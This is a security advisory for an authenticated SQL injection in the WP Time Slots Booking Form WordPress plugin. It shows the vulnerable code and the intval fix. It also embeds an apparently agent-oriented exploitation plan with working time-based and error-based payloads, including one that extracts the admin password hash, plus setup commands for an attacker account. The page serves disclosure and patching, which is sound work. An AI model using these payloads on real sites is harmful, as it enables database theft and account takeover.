WP Time Slots Booking Form <= 1.2.50 - Authenticated (Subscriber+) SQL Injection
Description
The WP Time Slots Booking Form plugin for WordPress is vulnerable to SQL Injection in versions up to, and including, 1.2.50 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for authenticated attackers, with subscriber-level access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:NTechnical Details
<=1.2.50What Changed in the Fix
Changes introduced in v1.2.51
Source Code
WordPress.org SVN# Exploitation Research Plan: CVE-2026-48882 ## 1. Vulnerability Summary The **WP Time Slots Booking Form** plugin (versions <= 1.2.50) is vulnerable to an **Authenticated SQL Injection** via the `item` parameter. The vulnerability exists in the `get_option` method of the `CP_TSLOTSBOOK_BaseClass` …
Show full research plan
Exploitation Research Plan: CVE-2026-48882
1. Vulnerability Summary
The WP Time Slots Booking Form plugin (versions <= 1.2.50) is vulnerable to an Authenticated SQL Injection via the item parameter. The vulnerability exists in the get_option method of the CP_TSLOTSBOOK_BaseClass (located in classes/cp-base-class.inc.php).
The get_option function directly concatenates the class property $this->item into a raw SQL query string passed to $wpdb->get_results(). Because $this->item is often populated from user-controlled request parameters (like $_REQUEST['item']) without being cast to an integer or prepared via $wpdb->prepare(), a Subscriber-level attacker can inject arbitrary SQL commands.
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php - AJAX Action:
cp_ts_booking_list(associated with the[CP_TIME_SLOTS_BOOKING_LIST]shortcode functionality) orcp_tslotsbook_get_slots. - Vulnerable Parameter:
item - Authentication: Required (Subscriber-level or higher).
- Payload Type: Time-based Blind or Error-based (via
updatexmlorextractvalue).
3. Code Flow
- Entry Point: An authenticated user sends a POST request to
admin-ajax.phpwith the actioncp_ts_booking_list. - Handler Registration: The plugin registers the handler (likely in
cp-main-class.inc.php) usingadd_action( 'wp_ajax_cp_ts_booking_list', ... ). - Parameter Assignment: The handler retrieves the
itemparameter using$this->get_param('item')and assigns it to$this->item.- Note:
get_param(incp-base-class.inc.php) usessanitize_text_field(), which does not escape SQL injection payloads (e.g.,1 AND SLEEP(5)).
- Note:
- Vulnerable Sink: The handler calls
$this->get_option('form_structure'). - SQL Execution: Inside
get_option(classes/cp-base-class.inc.phplines 183-206):
The unsanitized$myrows = $wpdb->get_results( "SELECT * FROM ".$wpdb->prefix.$this->table_items." WHERE id=".$this->item );$this->itemis concatenated directly into the query, leading to SQL Injection.
4. Nonce Acquisition Strategy
The plugin uses nonces for AJAX security, typically enqueued on pages containing the booking form shortcode.
- Identify Shortcode: The primary shortcode is
[CP_TIME_SLOTS_BOOKING]. - Create Page: Create a public page containing this shortcode to force the plugin to enqueue its scripts and localize the nonce.
wp post create --post_type=page --post_title="Booking Test" --post_status=publish --post_content='[CP_TIME_SLOTS_BOOKING]' - Extract Nonce: Navigate to the new page and use
browser_evalto extract the nonce from the localized JavaScript object.- JS Object:
cp_tslotsbooking_obj(inferred from prefix incp-main-class.inc.php). - Nonce Key:
nonce(inferred).
// Extraction via browser_eval window.cp_tslotsbooking_obj?.nonce - JS Object:
5. Exploitation Strategy
A Time-based Blind SQL Injection is the most reliable method for confirming the vulnerability.
Step 1: Authentication
Login as a Subscriber user to obtain a session cookie.
Step 2: Payload Injection
Send a POST request to admin-ajax.php.
- URL:
http://[target]/wp-admin/admin-ajax.php - Method:
POST - Content-Type:
application/x-www-form-urlencoded - Body Parameters:
action:cp_ts_booking_listnonce:[EXTRACTED_NONCE]item:1 AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)
Step 3: Data Extraction (Example: Admin Hash)
To extract the first character of the admin's password hash:
- Payload for
item:1 AND (SELECT 1 FROM (SELECT(IF(SUBSTRING((SELECT user_pass FROM wp_users WHERE ID=1),1,1)='$',SLEEP(5),0)))a)
6. Test Data Setup
- Activate Plugin: Ensure "WP Time Slots Booking Form" is active.
- Ensure Data Exists: The plugin creates form ID
1by default. Verify this exists inwp_cptslotsbk_forms. - Create Subscriber:
wp user create attacker attacker@example.com --role=subscriber --user_pass=password123 - Create Nonce Page:
wp post create --post_type=page --post_status=publish --post_content='[CP_TIME_SLOTS_BOOKING]'
7. Expected Results
- Normal Request: The server responds immediately (usually < 200ms).
- Vulnerable Request: The server response is delayed by approximately 5 seconds.
- Database Error (if enabled): If
WP_DEBUGis on, the error might be visible indebug.logor the response if the query syntax is intentionally broken (e.g.,item=1').
8. Verification Steps
After performing the HTTP request, verify the impact:
- Monitor MySQL Logs: If access is available, check the query log to see the executed query:
SELECT * FROM wp_cptslotsbk_forms WHERE id=1 AND (SELECT 1 FROM (SELECT(SLEEP(5)))a) - Check Time Delay: Confirm the
http_requesttool reports atime_totalsignificantly higher than the sleep value.
9. Alternative Approaches
If cp_ts_booking_list is patched or restricted:
- Alternative Action: Try
cp_tslotsbook_get_slotsorcp_tslotsbook_get_option. These are common AJAX entry points in CodePeople plugins that often call the sameget_optionsink. - Error-Based Extraction: If time-based is too slow, try
updatexmlto leak data via MySQL error messages:item=1 AND (updatexml(1,concat(0x7e,(SELECT user_login FROM wp_users LIMIT 1),0x7e),1))
- UNION-Based: If the AJAX handler reflects the
form_structureoption in the JSON response, use a UNION payload to inject data into that field's position.
Summary
The WP Time Slots Booking Form plugin for WordPress is vulnerable to SQL Injection in versions up to 1.2.50 due to insufficient input validation and the direct concatenation of user-supplied parameters into SQL queries within the `get_option` function. Authenticated attackers with subscriber-level permissions or higher can exploit this to extract sensitive database information or execute arbitrary SQL commands via time-based or error-based techniques.
Vulnerable Code
// classes/cp-base-class.inc.php:183 public function get_option ($field, $default_value = '') { global $wpdb; if ($this->option_buffered_id == $this->item) $value = (property_exists($this->option_buffered_item, $field) && !empty(@$this->option_buffered_item->$field) ? @$this->option_buffered_item->$field : ''); else { $myrows = $wpdb->get_results( "SELECT * FROM ".$wpdb->prefix.$this->table_items." WHERE id=".$this->item ); if (count($myrows)) { $value = @$myrows[0]->$field; $this->option_buffered_item = @$myrows[0]; $this->option_buffered_id = $this->item; } // ... --- // cp-main-class.inc.php:765 else if ($this->get_param("cal") || $this->get_param("cal") == '0' || $this->get_param("pwizard") == '1') { $this->item = $this->get_param("cal");
Security Fix
@@ -174,7 +174,7 @@ $value = (property_exists($this->option_buffered_item, $field) && !empty(@$this->option_buffered_item->$field) ? @$this->option_buffered_item->$field : ''); else { - $myrows = $wpdb->get_results( "SELECT * FROM ".$wpdb->prefix.$this->table_items." WHERE id=".$this->item ); + $myrows = $wpdb->get_results( "SELECT * FROM ".$wpdb->prefix.$this->table_items." WHERE id=".intval($this->item) ); if (count($myrows)) { $value = @$myrows[0]->$field; @@ -14,6 +14,7 @@ private $include_user_data_csv = false; public $CP_CFPP_global_templates; private $old_css_placeholder = '/* Styles definition here */'; + private $postURL; protected $paid_statuses = array('Pending','Cancelled','Rejected'); public $shorttag = 'CP_TIME_SLOTS_BOOKING'; @@ -762,7 +763,7 @@ } else if ($this->get_param("cal") || $this->get_param("cal") == '0' || $this->get_param("pwizard") == '1') { - $this->item = $this->get_param("cal"); + $this->item = intval($this->get_param("cal")); if (isset($_GET["edit"]) && $_GET["edit"] == '1') @include_once dirname( __FILE__ ) . '/cp_admin_int_edition.inc.php'; else if ($this->get_param("schedule") == '1')
Exploit Outline
The exploit targets the `get_option` method, which is reachable through various AJAX actions such as `cp_ts_booking_list` or `cp_tslotsbook_get_slots`. An authenticated attacker (Subscriber+) first obtains a valid nonce by viewing a page where the plugin's booking form shortcode is rendered. The attacker then sends a POST request to `/wp-admin/admin-ajax.php` containing the `action` and the required nonce. By injecting a payload into the `item` (or `cal`) parameter—for instance, `1 AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)`—the attacker can manipulate the resulting SQL query. This allows for time-based blind data extraction from the WordPress database, including administrative credentials.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.